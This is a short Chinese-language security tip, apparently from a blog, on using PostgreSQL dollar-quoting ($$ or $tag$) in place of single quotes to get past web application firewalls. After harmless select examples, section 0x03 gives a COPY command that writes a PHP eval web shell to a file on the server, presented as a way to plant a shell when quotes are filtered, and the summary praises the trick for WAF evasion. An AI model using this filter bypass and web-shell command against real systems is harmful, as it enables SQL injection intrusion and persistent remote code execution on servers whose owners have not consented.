0x01 概要
这是偶然在手册看到的,感觉很新奇,用来绕过waf的话,想必也是不错的选择
0x02 例子一 - 基础使用
# 普通情况-单引号输出内容
skylar=# select 'a';
+----------+
| ?column? |
+----------+
| a |
+----------+
1 row in set
// 使用 $$代替单引号输出内容
skylar=# select $$a$$;
+----------+
| ?column? |
+----------+
| a |
+----------+
1 row in set
// 混淆 $$ 代替单引号
// 注意: 在 $[填写英文开头]$ 可以这样混淆一下代替单引号
// 需要注意如果
// 开头 $$ 填写的是 $t1$
// 那么作为闭合的 $$ 也要填写为 $t1$
// 两者需要保持一致
// 例如我下面的 $test$ === 单引号
skylar=# select $test$a$test$;
+----------+
| ?column? |
+----------+
| a |
+----------+
1 row in set
0x03 例子二 - 过滤单引号写shell方法
// 使用 $$ 替代 单引号写shell
命令: COPY (select $$<?php @eval($_POST[1]);?>$$) to $$C:\2.php$$;
0x04 总结
我自己感觉用来绕过waf的时候会挺好用